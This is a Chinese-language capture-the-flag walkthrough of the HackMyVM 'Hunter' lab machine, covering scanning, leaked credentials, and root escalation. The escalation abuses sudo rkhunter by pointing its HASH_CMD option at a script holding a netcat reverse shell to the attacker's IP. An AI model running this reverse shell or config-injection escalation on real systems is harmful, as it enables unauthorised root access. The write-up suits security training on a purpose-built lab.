Hvm_Hunter

靶机来源：https://hackmyvm.eu/

难度：Easy

思维导图：

一、信息收集

1、主机探测

┌──(root㉿kali)-[~/miaosec]
└─# nmap -sn 192.168.2.0/24              
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-09 10:06 +0800
Nmap scan report for 192.168.2.1
Host is up (0.0019s latency).
MAC Address: 0A:00:27:00:00:06 (Unknown)
Nmap scan report for 192.168.2.2
Host is up (0.0068s latency).
MAC Address: 08:00:27:3A:E9:0C (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.17
Host is up (0.00047s latency).
MAC Address: 08:00:27:F9:5E:4C (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.4
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 7.12 seconds

靶机IP：192.168.2.17

2、端口扫描

1.全端口扫描

┌──(root㉿kali)-[~/miaosec]
└─# nmap --min-rate 10000 -p- 192.168.2.17                   
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-09 10:06 +0800
Nmap scan report for 192.168.2.17
Host is up (0.00042s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy
MAC Address: 08:00:27:F9:5E:4C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 43.33 seconds

开放端口：22、8080

2.详细信息扫描

┌──(root㉿kali)-[~/miaosec]
└─# nmap --min-rate 10000 -sT -sC -sV -O -p22,8080 192.168.2.17
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-09 10:08 +0800
Nmap scan report for 192.168.2.17
Host is up (0.00089s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 10.0 (protocol 2.0)
8080/tcp open  http    Golang net/http server
| http-robots.txt: 1 disallowed entry 
|_/admin
| fingerprint-strings: 
|   FourOhFourRequest, GetRequest, HTTPOptions: 
|     HTTP/1.0 200 OK
|     Date: Thu, 09 Apr 2026 02:08:22 GMT
|     Content-Length: 21
|     Content-Type: text/plain; charset=utf-8
|     Yes, thats a CTF :_(
|   GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   OfficeScan: 
|     HTTP/1.1 400 Bad Request: missing required Host header
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|_    Request: missing required Host header
....
MAC Address: 08:00:27:F9:5E:4C (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.54 seconds

3.udp扫描

┌──(root㉿kali)-[~/miaosec]
└─# nmap -sU --top-ports 100 192.168.2.17                      
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-09 10:08 +0800
Nmap scan report for 192.168.2.17
Host is up (0.00100s latency).
All 100 scanned ports on 192.168.2.17 are in ignored states.
Not shown: 60 closed udp ports (port-unreach), 40 open|filtered udp ports (no-response)
MAC Address: 08:00:27:F9:5E:4C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 59.27 seconds

二、WEB渗透

1、8080端口

访问8080端口 提示我们这是一个CTF

2、目录扫描

进行目录扫描

┌──(root㉿kali)-[~/miaosec]
└─# dirsearch -u http://192.168.2.17:8080

[10:10:44] 200 -   13B  - /admin
[10:11:40] 200 -   31B  - /robots.txt

找到两个目录/admin和/robots.txt

访问admin，提示无效的JWT

三、获取hunterman权限

修改admin的数据包，改为post请求，发现存在一组凭据泄露 hunterman:thisisnitriilcisi

使用凭证成功进行登录

┌──(root㉿kali)-[~/miaosec]
└─# ssh hunterman@192.168.2.17
hunterman@192.168.2.17's password: 
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <https://wiki.alpinelinux.org/>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

hunter:~$ id
uid=1000(hunterman) gid=1000(hunterman) groups=1000(hunterman)

四、权限提升

1、获取huntergirl权限

在/var/www/html里面的robots.txt里面发现huntergirl的凭证

hunter:/var/www/html$ cat robots.txt 
h u n t e r g i r l:fickshitmichini

成功进行登录

hunter:/var/www/html$ su huntergirl
Password: 
/var/www/html $ id
uid=1001(huntergirl) gid=1001(huntergirl) groups=1001(huntergirl)

2、获取root权限

查看sudo -l

~ $ sudo -l
Matching Defaults entries for huntergirl on hunter:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for huntergirl:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User huntergirl may run the following commands on hunter:
    (root) NOPASSWD: /usr/local/bin/rkhunter

sudo可以发现huntergirl 可以免密以 root 权限执行 /usr/local/bin/rkhunter

--configfile 参数，允许用户指定一个自定义的配置文件 那么通过在配置文件中设置恶意脚本，并在执行 rkhunter 时加载该文件，我们可能能够以 root 权限执行任意代码

在 rkhunter 的配置文件中，有一个 HASH_CMD 的选项，它用于指定生成文件哈希值的命令。可以利用这点写入恶意代码，rkhunter 在尝试计算任何文件哈希时，都会去执行这个脚本。 https://sources.debian.org/src/rkhunter/1.4.2-6%2Bdeb9u1/files/rkhunter.conf/

1. 创建恶意脚本

~ $ echo 'busybox nc 192.168.2.4 -e /bin/sh' > /tmp/shell.sh
~ $ chmod +x /tmp/shell.sh

1. 创建恶意配置文件

~ $ cat /tmp/myconf.conf << EOF
INSTALLDIR=/usr/local
SCRIPTDIR=/usr/local/lib/rkhunter/scripts
DBDIR=/var/lib/rkhunter/db
TMPDIR=/var/lib/rkhunter/tmp
HASH_CMD=/tmp/shell.sh
SCRIPTWHITELIST=
EOF

1. 执行命令

sudo /usr/local/bin/rkhunter --propupd --configfile /tmp/myconf.conf

1. 成功获取到shell

┌──(root㉿kali)-[~/Tool]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.4] from (UNKNOWN) [192.168.2.17] 44299
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

五、查看FLAG

cat /root/root.txt /home/hunterman/user.txt
HMV{Fhxxxxxxxxxxxxxxxxxx}
HMV{Vcxxxxxxxxxxxxxxxxxx}